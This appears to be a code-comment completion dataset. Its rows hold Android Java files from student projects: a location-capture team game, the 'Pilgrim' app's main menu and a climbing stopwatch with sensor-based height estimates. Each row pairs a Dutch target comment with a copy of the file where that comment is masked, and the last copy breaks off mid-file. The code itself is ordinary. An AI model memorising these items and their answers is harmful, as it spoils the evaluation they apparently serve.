// Access to the location has been granted to the app.
mMap.setMyLocationEnabled(true);
}
}
@Override
public boolean onMyLocationButtonClick() {
Toast.makeText(this, "MyLocation button clicked", Toast.LENGTH_SHORT).show();
// Return false so that we don't consume the event and the default behavior still occurs
// (the camera animates to the user's current position).
return false;
}
@Override
public void onMyLocationClick(@NonNull Location location) {
Toast.makeText(this, "Current location:\n" + location, Toast.LENGTH_LONG).show();
Log.d(TAG, "onabcxyz lng: "+ location.getLongitude() + " lat: " + location.getLatitude());
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
@NonNull int[] grantResults) {
if (requestCode != LOCATION_PERMISSION_REQUEST_CODE) {
return;
}
if (PermissionUtils.isPermissionGranted(permissions, grantResults,
Manifest.permission.ACCESS_FINE_LOCATION)) {
// Enable the my location layer if the permission has been granted.
enableMyLocation();
} else {
// Display the missing permission error dialog when the fragments resume.
mPermissionDenied = true;
}
}
@Override
protected void onResumeFragments() {
super.onResumeFragments();
if (mPermissionDenied) {
// Permission was not granted, display error dialog.
showMissingPermissionError();
mPermissionDenied = false;
}
}
/**
* Displays a dialog with error message explaining that the location permission is missing.
*/
private void showMissingPermissionError() {
PermissionUtils.PermissionDeniedDialog
.newInstance(true).show(getSupportFragmentManager(), "dialog");
}
private void keepGameUpToDate() {
new CountDownTimer(_gameService.game.getRegio().getTijd()*60, 2000) {
public void onTick(long millisUntilFinished) {
//update player locatie, returns game
if(_locatie != null)
_gameService.UpdatePlayerLocatie(new LatLng(_locatie.getLatitude(), _locatie.getLongitude()));
//update other players locaties
for (Marker marker : teamMarkers)
{
marker.remove();
}
List<User> users = _gameService.game.teams.get(GameService.team).users; // update player locaties op de map
for(User user : users)
if(user.id != _gameService.userId)
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.green_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 30, 30, false);
teamMarkers.add(mMap.addMarker(new MarkerOptions()
.position(new LatLng(user.lat, user.lng))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker))));
}
//update locatie locaties op de map
for(Team team : _gameService.game.teams)
{
if(team.capturedLocaties.size()>0)
{
if(team.id == _gameService.game.teams.get(_gameService.team).id)
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.captured_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(CaptureLocatie captureLocatie : team.capturedLocaties)
locatieMarkers.get(captureLocatie.locatie.id).setIcon(BitmapDescriptorFactory.fromBitmap(marker));
}
else
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.enemycapture_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(CaptureLocatie captureLocatie : team.capturedLocaties)
locatieMarkers.get(captureLocatie.locatie.id).setIcon(BitmapDescriptorFactory.fromBitmap(marker));
}
}
}
bestTeam();//laat het beste team zien in de balk onderaan in het scherm
int l = canCapture();//kijk of er een locatie is dat men kan capturen
if(l != 0 && l != lastl && !_gameService.puzzelactive)//roep de vragenactivity op wanneer mogelijk
{
lastl = l;
Intent intent = new Intent(MapActivity.this , VragenActivity.class);
_gameService.puzzels = new ArrayList<>();
for(Team team : _gameService.game.teams)
for(CaptureLocatie captureLocatie : team.capturedLocaties)
if(captureLocatie.locatie.id == l )
{
int maxpoints = 0;
for(Puzzel puzzel : captureLocatie.locatie.puzzels)
maxpoints+= puzzel.points;
Toast.makeText(MapActivity.this, "CaptureStrength: "+ captureLocatie.score+ "/"+maxpoints, Toast.LENGTH_SHORT).show();
l = 0; // kill capture 'ability'
}
for(final Locatie locatie : _gameService.game.regio.locaties)
if(locatie.id == l)
{
for(Puzzel puzzel : locatie.puzzels)
_gameService.puzzels.add(new Puzzel(puzzel.id,puzzel.vraag, null));
_gameService.locationid = l;
startActivity(intent);
}
}
}
public int lastl = 0;
public void onFinish() {
Intent Leaderboard = new Intent(MapActivity.this, LeaderboardActivity.class);
startActivity(Leaderboard);
}
}.start();
}
//gametime wordt<SUF>
private void initializeGameTime(){
int tijd = _gameService.game.getRegio().getTijd()*60 - (int)(System.currentTimeMillis() - _gameService.game.starttijd);
new CountDownTimer(tijd, 1000) {
public void onTick(long millisUntilFinished) {
String timer = String.format(Locale.getDefault(), "%02d:%02d:%02d remaining",
TimeUnit.MILLISECONDS.toHours(millisUntilFinished) % 60,
TimeUnit.MILLISECONDS.toMinutes(millisUntilFinished) % 60,
TimeUnit.MILLISECONDS.toSeconds(millisUntilFinished) % 60);
gameTime.setText(timer);
}
public void onFinish() {
gameTime.setText("einde game");
}
}.start();
}
public void bestTeam(){
List<Team> teams = _gameService.game.teams;
int bestteamid = 999;
int bestscore = 0;
//checken of er score zijn gemaakt om het beste team te updaten.
for(Team team : teams) {
int score = 0;
for(CaptureLocatie loc : team.getCapturedLocaties())
score += loc.score;
if (score > bestscore){
bestscore = score;
bestteamid = team.id;
}
}
if (bestteamid == 999){
bestTeamTxt.setText("Best Team: -" );
}else {
bestTeamTxt.setText("Best Team: " + String.valueOf(bestteamid) + " score: " + bestscore);
}
int score = 0;
for(CaptureLocatie loc : teams.get(_gameService.team).capturedLocaties )
score += loc.score;
bestTeamTxt.setText(bestTeamTxt.getText() + "\nMy teamId: "+ teams.get(_gameService.team).id + " score: " + score);
}
private int canCapture(){
List<Locatie> locaties = _gameService.game.getEnabledLocaties();
List<Locatie> capturedlocaties = new ArrayList<>();
for(CaptureLocatie captureLocatie : _gameService.game.teams.get(_gameService.team).capturedLocaties)
capturedlocaties.add(captureLocatie.locatie);
//controleren of je binnen een straal van 30m bent om te kunnen capturen.
if(_locatie != null)
for (int i = 0; i < locaties.size(); i++) {
double x = _locatie.getLongitude() - locaties.get(i).lng;
double y = _locatie.getLatitude() - locaties.get(i).lat;
x = x * x;
y = y * y;
double afstand = Math.sqrt(x+y);
//0.00026949458 is 30m in graden op de wereld
if (afstand < 0.00026949458){
boolean contains = false;
for(Locatie ll : capturedlocaties)
{
if(ll.id == locaties.get(i).id)
contains = true;
}
if(contains == false)
{
int send = locaties.get(i).id;
return send;
}
}
}
return 0;
}
}
|
21118_0 | package com.example.midasvg.pilgrim;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.support.annotation.NonNull;
import android.support.design.widget.NavigationView;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.app.ActionBarDrawerToggle;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.Html;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import com.google.firebase.auth.FirebaseAuth;
public class MainActivity extends AppCompatActivity {
private DrawerLayout nDrawerLayout;
private NavigationView navigationView;
private ActionBarDrawerToggle nToggle;
private FirebaseAuth mAuth;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getSupportActionBar().setTitle(Html.fromHtml("<font color='#ffffff'>Pilgrim </font>"));
getSupportActionBar().setBackgroundDrawable(new ColorDrawable(Color.parseColor("#464646")));
//De button wordt ge-enabled op de Action Bar
nDrawerLayout = (DrawerLayout) findViewById(R.id.drawerLayout);
navigationView = (NavigationView) findViewById(R.id.navView);
nToggle = new ActionBarDrawerToggle(this, nDrawerLayout, R.string.open, R.string.close);
nDrawerLayout.addDrawerListener(nToggle);
nToggle.syncState();
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
navigationView.setNavigationItemSelectedListener(new NavigationView.OnNavigationItemSelectedListener() {
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
UserMenuSelector(item);
return false;
}
});
mAuth = FirebaseAuth.getInstance();
//Button staat nu aan & kan gebruikt worden.
//Het is de bedoeling dat de button disabled wordt, tot de speler bij het startpunt komt.
final Button startButton = (Button) findViewById(R.id.bttnStart);
startButton.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Intent intent = new Intent(MainActivity.this, GameActivity.class);
startActivity(intent);
}
});
final Button accButton = (Button) findViewById(R.id.imageAcc);
accButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ProfileActivity.class);
startActivity(intent);
}
});
}
//Nu kan er op de button gedrukt worden
@Override
public boolean onOptionsItemSelected(MenuItem item){
if (nToggle.onOptionsItemSelected(item)){
return true;
}
return super.onOptionsItemSelected(item);
}
private void UserMenuSelector(MenuItem item){
switch (item.getItemId()){
case R.id.nav_collections:
Intent intentCollection = new Intent(MainActivity.this, CollectionActivity.class);
startActivity(intentCollection);
break;
case R.id.nav_game:
Intent intentGame = new Intent(MainActivity.this, MainActivity.class);
startActivity(intentGame);
break;
case R.id.nav_leaderboard:
Intent intentLeaderboard = new Intent(MainActivity.this, LeaderboardActivity.class);
startActivity(intentLeaderboard);
break;
case R.id.nav_profile:
Intent intentProfile = new Intent(MainActivity.this, ProfileActivity.class);
startActivity(intentProfile);
break;
case R.id.nav_guide:
Intent intentGuide = new Intent(MainActivity.this, GuideActivity.class);
startActivity(intentGuide);
break;
case R.id.nav_about:
Intent intentAbout = new Intent(MainActivity.this, AboutActivity.class);
startActivity(intentAbout);
break;
case R.id.nav_logout:
mAuth.signOut();
Toast.makeText(MainActivity.this, "Logging out...", Toast.LENGTH_SHORT).show();
Intent logOut = new Intent(MainActivity.this, LoginActivity.class);
startActivity(logOut);
break;
}
}
}
| AP-IT-GH/CA1819-Pilgrim | src/AndroidApp/app/src/main/java/com/example/midasvg/pilgrim/MainActivity.java | 1,268 | //De button wordt ge-enabled op de Action Bar | line_comment | nl | package com.example.midasvg.pilgrim;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.support.annotation.NonNull;
import android.support.design.widget.NavigationView;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.app.ActionBarDrawerToggle;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.Html;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import com.google.firebase.auth.FirebaseAuth;
public class MainActivity extends AppCompatActivity {
private DrawerLayout nDrawerLayout;
private NavigationView navigationView;
private ActionBarDrawerToggle nToggle;
private FirebaseAuth mAuth;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getSupportActionBar().setTitle(Html.fromHtml("<font color='#ffffff'>Pilgrim </font>"));
getSupportActionBar().setBackgroundDrawable(new ColorDrawable(Color.parseColor("#464646")));
//De button<SUF>
nDrawerLayout = (DrawerLayout) findViewById(R.id.drawerLayout);
navigationView = (NavigationView) findViewById(R.id.navView);
nToggle = new ActionBarDrawerToggle(this, nDrawerLayout, R.string.open, R.string.close);
nDrawerLayout.addDrawerListener(nToggle);
nToggle.syncState();
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
navigationView.setNavigationItemSelectedListener(new NavigationView.OnNavigationItemSelectedListener() {
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
UserMenuSelector(item);
return false;
}
});
mAuth = FirebaseAuth.getInstance();
//Button staat nu aan & kan gebruikt worden.
//Het is de bedoeling dat de button disabled wordt, tot de speler bij het startpunt komt.
final Button startButton = (Button) findViewById(R.id.bttnStart);
startButton.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Intent intent = new Intent(MainActivity.this, GameActivity.class);
startActivity(intent);
}
});
final Button accButton = (Button) findViewById(R.id.imageAcc);
accButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ProfileActivity.class);
startActivity(intent);
}
});
}
//Nu kan er op de button gedrukt worden
@Override
public boolean onOptionsItemSelected(MenuItem item){
if (nToggle.onOptionsItemSelected(item)){
return true;
}
return super.onOptionsItemSelected(item);
}
private void UserMenuSelector(MenuItem item){
switch (item.getItemId()){
case R.id.nav_collections:
Intent intentCollection = new Intent(MainActivity.this, CollectionActivity.class);
startActivity(intentCollection);
break;
case R.id.nav_game:
Intent intentGame = new Intent(MainActivity.this, MainActivity.class);
startActivity(intentGame);
break;
case R.id.nav_leaderboard:
Intent intentLeaderboard = new Intent(MainActivity.this, LeaderboardActivity.class);
startActivity(intentLeaderboard);
break;
case R.id.nav_profile:
Intent intentProfile = new Intent(MainActivity.this, ProfileActivity.class);
startActivity(intentProfile);
break;
case R.id.nav_guide:
Intent intentGuide = new Intent(MainActivity.this, GuideActivity.class);
startActivity(intentGuide);
break;
case R.id.nav_about:
Intent intentAbout = new Intent(MainActivity.this, AboutActivity.class);
startActivity(intentAbout);
break;
case R.id.nav_logout:
mAuth.signOut();
Toast.makeText(MainActivity.this, "Logging out...", Toast.LENGTH_SHORT).show();
Intent logOut = new Intent(MainActivity.this, LoginActivity.class);
startActivity(logOut);
break;
}
}
}
|
172731_11 | package com.ap.brecht.guitool;
import android.app.AlertDialog;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.Typeface;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.SystemClock;
import android.speech.tts.TextToSpeech;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.text.Html;
import android.util.Base64;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Chronometer;
import android.widget.ImageButton;
import android.widget.TextView;
import android.widget.Toast;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.util.Locale;
import java.util.Random;
/**
* Created by hannelore on 22/04/2015.
*/
public class StopwatchFragment extends Fragment implements View.OnClickListener, SensorEventListener {
//Sensor variables
private Sensor mSensor;
private SensorManager mSensorManager;
private AcceleroFilter xFilter = new AcceleroFilter();
private AcceleroFilter yFilter = new AcceleroFilter();
private AcceleroFilter zFilter = new AcceleroFilter();
private double xFiltered;
private double yFiltered;
private double zFiltered;
private float[] orientationValues = new float[3];
private float rotation[] = new float[16];
private double startTime;
private double elapsedTime;
private double oldElapsedTime;
private double velocity = 0;
private double oldVelocity = 0;
private double noVelocityCounter = 0;
private double correctedVelocity;
private double oldCorrectedVelocity = Double.NaN;
private double oldOldCorrectedVelocity = Double.NaN;
private double height;
private double oldHeight;
//Chrono variables
private Chronometer chrono;
long timeWhenStopped = 0;
long elapsedMillis;
int secs, currentmin, lastmin;
//GUI
private View view;
private ImageButton startButton;
private TextView txtStart;
private ImageButton pauzeButton;
private TextView txtPauze;
private ImageButton stopButton;
private TextView txtStop;
private ImageButton resetButton;
private TextView txtReset;
private TextView txtHeight;
private TextView txtSnelheid;
private String locatie;
private String descriptie;
private String Uid;
JSONObject jsonResponse;
private TextToSpeech SayTime;
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_stopwatch, container, false);
chrono = (Chronometer) view.findViewById(R.id.timer);
startButton = (ImageButton) view.findViewById(R.id.btnStart);
startButton.setOnClickListener(this);
stopButton = (ImageButton) view.findViewById(R.id.btnStop);
stopButton.setOnClickListener(this);
pauzeButton = (ImageButton) view.findViewById(R.id.btnPauze);
pauzeButton.setOnClickListener(this);
resetButton = (ImageButton) view.findViewById(R.id.btnReset);
resetButton.setOnClickListener(this);
txtStart = (TextView) view.findViewById(R.id.txtStart);
txtReset = (TextView) view.findViewById(R.id.txtReset);
txtPauze = (TextView) view.findViewById(R.id.txtPauze);
txtStop = (TextView) view.findViewById(R.id.txtStop);
txtHeight = (TextView) view.findViewById(R.id.txtHeight);
txtHeight.setText("21m");
//txtSnelheid= (TextView) view.findViewById(R.id.SpeedStop);
SayTime = new TextToSpeech(getActivity().getApplicationContext(),
new TextToSpeech.OnInitListener() {
@Override
public void onInit(int status) {
if (status != TextToSpeech.ERROR) {
SayTime.setLanguage(Locale.US);
}
}
});
//Set start text to agreed notation
chrono.setText("00:00:00");
chrono.setOnChronometerTickListener(new Chronometer.OnChronometerTickListener() {
@Override
public void onChronometerTick(Chronometer c) {
elapsedMillis = SystemClock.elapsedRealtime() - c.getBase();
if (elapsedMillis > 3600000L) {
c.setFormat("0%s");
} else {
c.setFormat("00:%s");
}
secs = ((int) (elapsedMillis)) / 1000;
currentmin = secs / 60;
//Check if we need to speak the minutes
//@ the moment it's every minute
String alertTime = ((SessionActivity) getActivity()).AlertTime;
if (alertTime.equals("30s")) {
if (secs % 30 == 0) {
speakText();
}
} else if (alertTime.equals("1m")) {
if (lastmin != currentmin || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
} else if (alertTime.equals("5m")) {
if ((lastmin != currentmin && (currentmin % 5) == 0) || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
} else if (alertTime.equals("10m")) {
if ((lastmin != currentmin && (currentmin % 10) == 0) || (currentmin==0 && secs==0)) {
speakText();
}
lastmin = currentmin;
}
}
});
return view;
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btnStart:
chrono.setBase(SystemClock.elapsedRealtime() + timeWhenStopped);
chrono.start();
showStopButton();
break;
case R.id.btnPauze:
timeWhenStopped = chrono.getBase() - SystemClock.elapsedRealtime();
chrono.stop();
hideStopButton();
break;
case R.id.btnStop:
QustomDialogBuilder stopAlert = new QustomDialogBuilder(v.getContext(), AlertDialog.THEME_HOLO_DARK);
stopAlert.setMessage(Html.fromHtml("<font color=#" + Integer.toHexString(getActivity().getResources().getColor(R.color.white) & 0x00ffffff) + ">Do you want to quit your session?"));
stopAlert.setTitle("ClimbUP");
stopAlert.setTitleColor("#" + Integer.toHexString(getResources().getColor(R.color.Orange) & 0x00ffffff));
stopAlert.setDividerColor("#" + Integer.toHexString(getResources().getColor(R.color.Orange) & 0x00ffffff));
stopAlert.setNegativeButton("CANCEL", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
stopAlert.setPositiveButton("YES", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
chrono.stop();
if (mSensorManager != null) {
mSensorManager.unregisterListener(StopwatchFragment.this, mSensorManager.getDefaultSensor(Sensor.TYPE_LINEAR_ACCELERATION));
mSensorManager.unregisterListener(StopwatchFragment.this, mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR));
}
savePicture();
new MyAsyncTask().execute();
}
});
stopAlert.create().show();
break;
case R.id.btnReset:
chrono.setBase(SystemClock.elapsedRealtime());
timeWhenStopped = 0;
chrono.stop();
break;
}
}
private void showStopButton() {
StartSensor();
startButton.setVisibility(View.GONE);
txtStart.setVisibility(View.GONE);
resetButton.setVisibility(View.GONE);
txtReset.setVisibility(View.GONE);
pauzeButton.setVisibility(View.VISIBLE);
txtPauze.setVisibility(View.VISIBLE);
stopButton.setVisibility(View.VISIBLE);
txtStop.setVisibility(View.VISIBLE);
}
private void hideStopButton() {
startButton.setVisibility(View.VISIBLE);
txtStart.setVisibility(View.VISIBLE);
resetButton.setVisibility(View.VISIBLE);
txtReset.setVisibility(View.VISIBLE);
pauzeButton.setVisibility(View.GONE);
txtPauze.setVisibility(View.GONE);
stopButton.setVisibility(View.GONE);
txtStop.setVisibility(View.GONE);
}
private void StartSensor()
{
mSensorManager = (SensorManager) getActivity().getSystemService(Context.SENSOR_SERVICE);
if (mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR) != null){
mSensorManager.registerListener(this, mSensorManager.getDefaultSensor(Sensor.TYPE_LINEAR_ACCELERATION), SensorManager.SENSOR_DELAY_GAME);
mSensorManager.registerListener(this, mSensorManager.getDefaultSensor(Sensor.TYPE_ROTATION_VECTOR), SensorManager.SENSOR_DELAY_GAME);
}
else {
//DO SHIT
}
startTime = System.currentTimeMillis() / 1000;
}
@Override
public final void onAccuracyChanged(Sensor sensor, int accuracy) {
// Do something here if sensor accuracy changes.
}
public void onSensorChanged(SensorEvent event)
{
mSensor = event.sensor;
if (mSensor.getType() == Sensor.TYPE_LINEAR_ACCELERATION) {
xFiltered = xFilter.Filter(event.values[0]);
yFiltered = yFilter.Filter(event.values[1]);
zFiltered = zFilter.Filter(event.values[2]);
}
else if(mSensor.getType() == Sensor.TYPE_ROTATION_VECTOR)
{
SensorManager.getRotationMatrixFromVector(rotation, event.values);
SensorManager.getOrientation(rotation, orientationValues);
double azimuth = Math.toDegrees(orientationValues[0]);
double pitch = Math.toDegrees(orientationValues[1]);
double roll = Math.toDegrees(orientationValues[2]);
double ax = xFiltered * Math.cos(Math.toRadians(roll)) + yFiltered * Math.cos(Math.toRadians(90) - Math.toRadians(roll));
double ay = yFiltered * Math.cos(Math.toRadians(90) + Math.toRadians(pitch)) + xFiltered * Math.cos(Math.toRadians(90) + Math.toRadians(roll)) + zFiltered * Math.cos(Math.toRadians(pitch)) * Math.cos(Math.toRadians(roll));
elapsedTime = (System.currentTimeMillis() / 1000.0) - startTime;
velocity = oldVelocity + (ay * (elapsedTime - oldElapsedTime));
if(ay < 0.6 && ay > -0.6 && velocity != 0)
noVelocityCounter++;
else
noVelocityCounter = 0;
if((noVelocityCounter > 2 && oldOldCorrectedVelocity < 0.5 && oldOldCorrectedVelocity > -0.5) || Math.abs(oldOldCorrectedVelocity) > 2 || Double.isNaN(oldOldCorrectedVelocity))
correctedVelocity = 0;
else
correctedVelocity = oldCorrectedVelocity + (ay * (elapsedTime - oldElapsedTime)) * 1.2;
if (correctedVelocity > 2 || correctedVelocity < - 2)
correctedVelocity = 0;
height = oldHeight + (correctedVelocity * (elapsedTime - oldElapsedTime));
oldElapsedTime = elapsedTime;
oldVelocity = velocity;
oldOldCorrectedVelocity = oldCorrectedVelocity;
oldCorrectedVelocity = correctedVelocity;
oldHeight= height;
//tvVelocity.setText(String.valueOf(velocity));
txtHeight.setText(String.format("%.2f", height) + "m");
}
}
private void speakText() {
String toSpeak = "";
if (secs == 0 && currentmin == 0) {
Random r = new Random();
int fun = r.nextInt(7);//random number from 0-6
switch (fun) {
case 0:
toSpeak = "Happy Climbing";
break;
case 1:
toSpeak = "Have fun climbing";
break;
case 2:
toSpeak = "Let's climb";
break;
case 3:
toSpeak = "Enjoy your climb";
break;
case 4:
toSpeak = "You will climb and I will follow";
break;
case 5:
toSpeak = "Let's go";
break;
case 6:
toSpeak = "Go hard, or go home";
default:
break;
}
} else if (secs % 30 == 0 && secs % 60 != 0) {
if (currentmin == 0) {
toSpeak = "You have been climbing for " + "30" + " seconds";
} else if (currentmin == 1) {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minute and " + "30" + " seconds";
} else
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minutes and " + "30" + " seconds";
} else if (currentmin == 1) {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minute";
} else {
toSpeak = "You have been climbing for " + String.valueOf(currentmin) + " minutes";
}
SayTime.speak(toSpeak, TextToSpeech.QUEUE_FLUSH, null);
}
private void savePicture() {
locatie = DescriptionFragmentSession.getLocation();
descriptie = DescriptionFragmentSession.getDescription();
try {
if (DatabaseData.PhotoString == null)
return;
ByteArrayOutputStream arrayOutputStream = new ByteArrayOutputStream();
Bitmap bitmap = BitmapFactory.decodeFile(DatabaseData.PhotoString).copy(Bitmap.Config.RGB_565, true);
Typeface tf = Typeface.create("sans-serif-condensed", Typeface.BOLD);
int x = 50;
int y = 75;
int size = 32;
Canvas canvas = new Canvas(bitmap);
Paint paint = new Paint();
paint.setStyle(Paint.Style.FILL);
paint.setColor(Color.WHITE); // Text Color
paint.setTypeface(tf);
paint.setTextSize(convertToPixels(getActivity().getApplicationContext(), size));
String text = locatie;
Rect textRect = new Rect();
paint.getTextBounds(text, 0, text.length(), textRect);
String text2 = descriptie;
Rect textRect2 = new Rect();
paint.getTextBounds(text2, 0, text2.length(), textRect2);
String text3 = String.format("%.2f", height) + "m";
canvas.drawText(text, x, y, paint);
canvas.drawText(text2, x, y + textRect.height(), paint);
canvas.drawText(text3, x, y + textRect.height() + textRect2.height(), paint);
//Add outline to text!
Paint stkPaint = new Paint();
stkPaint.setTypeface(tf);
stkPaint.setStyle(Paint.Style.STROKE);
stkPaint.setStrokeWidth(size / 10);
stkPaint.setColor(Color.BLACK);
stkPaint.setTextSize(convertToPixels(getActivity().getApplicationContext(), size));
canvas.drawText(text, x, y, stkPaint);
canvas.drawText(text2, x, y + textRect.height(), stkPaint);
canvas.drawText(text3, x, y + textRect.height() + textRect2.height(), stkPaint);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, arrayOutputStream);
byte[] imageArray = arrayOutputStream.toByteArray();
DatabaseData.PhotoString = Base64.encodeToString(imageArray, Base64.DEFAULT);
} catch (Exception e) {
Toast.makeText(getActivity().getApplicationContext(), "Unable to edit picture", Toast.LENGTH_SHORT).show();
}
}
//Method used from someone else!
private int convertToPixels(Context context, int nDP) {
final float conversionScale = context.getResources().getDisplayMetrics().density;
return (int) ((nDP * conversionScale) + 0.5f);
}
class MyAsyncTask extends AsyncTask<Void, Void, Void> {
private ProgressDialog progressDialog = new ProgressDialog(getActivity());
protected void onPreExecute() {
progressDialog.setMessage("Adding to database");
progressDialog.show();
progressDialog.setOnCancelListener(new DialogInterface.OnCancelListener() {
public void onCancel(DialogInterface arg0) {
MyAsyncTask.this.cancel(true);
}
});
//locatie = DescriptionFragmentSession.getLocation();
//descriptie = DescriptionFragmentSession.getDescription();
}
@Override
protected Void doInBackground(Void... params) {
try {
Uid = DatabaseData.userData.getString("uid");
} catch (JSONException e) {
e.printStackTrace();
}
if (WelcomeActivity.Username == null) {
try {
WelcomeActivity.Username = String.valueOf(DatabaseData.userData.getString("name"));
} catch (JSONException e) {
e.printStackTrace();
}
} else {//gewoon zo laten :)
}
DatabaseComClass.Session(Uid, locatie, descriptie, Math.round(height * 100.0) / 100.0 ,String.valueOf(elapsedMillis), DatabaseData.PhotoString, progressDialog);
return null;
}
protected void onPostExecute(Void v) {
try {
//Close the progressDialog!
this.progressDialog.dismiss();
if (DatabaseData.userData.optString("success").toString().equals("1")) {
super.onPostExecute(v);
Toast.makeText(getActivity(), "Saved data to database", Toast.LENGTH_SHORT).show();
Intent intent = new Intent(getActivity(), WelcomeActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getActivity().startActivity(intent);
} else if (DatabaseData.userData.optString("error").toString().equals("1")) {
Toast.makeText(getActivity(), jsonResponse.optString("error_msg").toString(), Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void onCancelled() {
Toast.makeText(getView().getContext(), "Can't login", Toast.LENGTH_SHORT).show();
}
}
}
| AP-IT-GH/GuiTool | app/src/main/java/com/ap/brecht/guitool/StopwatchFragment.java | 5,646 | //gewoon zo laten :) | line_comment | nl | package com.ap.brecht.guitool;
import android.app.AlertDialog;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.Typeface;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.SystemClock;
import android.speech.tts.TextToSpeech;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.text.Html;
import android.util.Base64;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Chronometer;
import android.widget.ImageButton;
import android.widget.TextView;
import android.widget.Toast;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.util.Locale;
import java.util.Random;
/**
* Created by hannelore on 22/04/2015.
*/
public class StopwatchFragment extends Fragment implements View.OnClickListener, SensorEventListener {
//Sensor variables
private Sensor mSensor;
private SensorManager mSensorManager;
private AcceleroFilter xFilter = new AcceleroFilter();
private AcceleroFilter yFilter = new AcceleroFilter();
private AcceleroFilter zFilter = new AcceleroFilter();
private double xFiltered;
private double yFiltered;
private double zFiltered;
private float[] orientationValues = new float[3];
private float rotation[] = new float[16];
private double startTime;
private double elapsedTime;
private double oldElapsedTime;
private double velocity = 0;
private double oldVelocity = 0;
private double noVelocityCounter = 0;
private double correctedVelocity;
private double oldCorrectedVelocity = Double.NaN;
private double oldOldCorrectedVelocity = Double.NaN;
private double height;
private double oldHeight;
//Chrono variables
private Chronometer chrono;
long timeWhenStopped = 0;
long elapsedMillis;
int secs, currentmin, lastmin;
//GUI
private View view;
private ImageButton startButton;
private TextView txtStart;
private ImageButton pauzeButton;
private TextView txtPauze;
private ImageButton stopButton;
private TextView txtStop;
private ImageButton resetButton;
private TextView txtReset;
private TextView txtHeight;
private TextView txtSnelheid;
private String locatie;
private String descriptie;
private String Uid;
JSONObject jsonResponse;
private TextToSpeech SayTime;
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_stopwatch, container, false);
chrono = (Chronometer) view.findViewById(R.id.timer);
startButton = (ImageButton) view.findViewById(R.id.btnStart);
startButton.setOnClickListener(this);
stopButton = (ImageButton) view.findViewById(R.id.btnStop);
stopButton.setOnClickListener(this);
pauzeButton = (ImageButton) view.findViewById(R.id.btnPauze);
pauzeButton.setOnClickListener(this);
resetButton = (ImageButton) view.findViewById(R.id.btnReset);
resetButton.setOnClickListener(this);
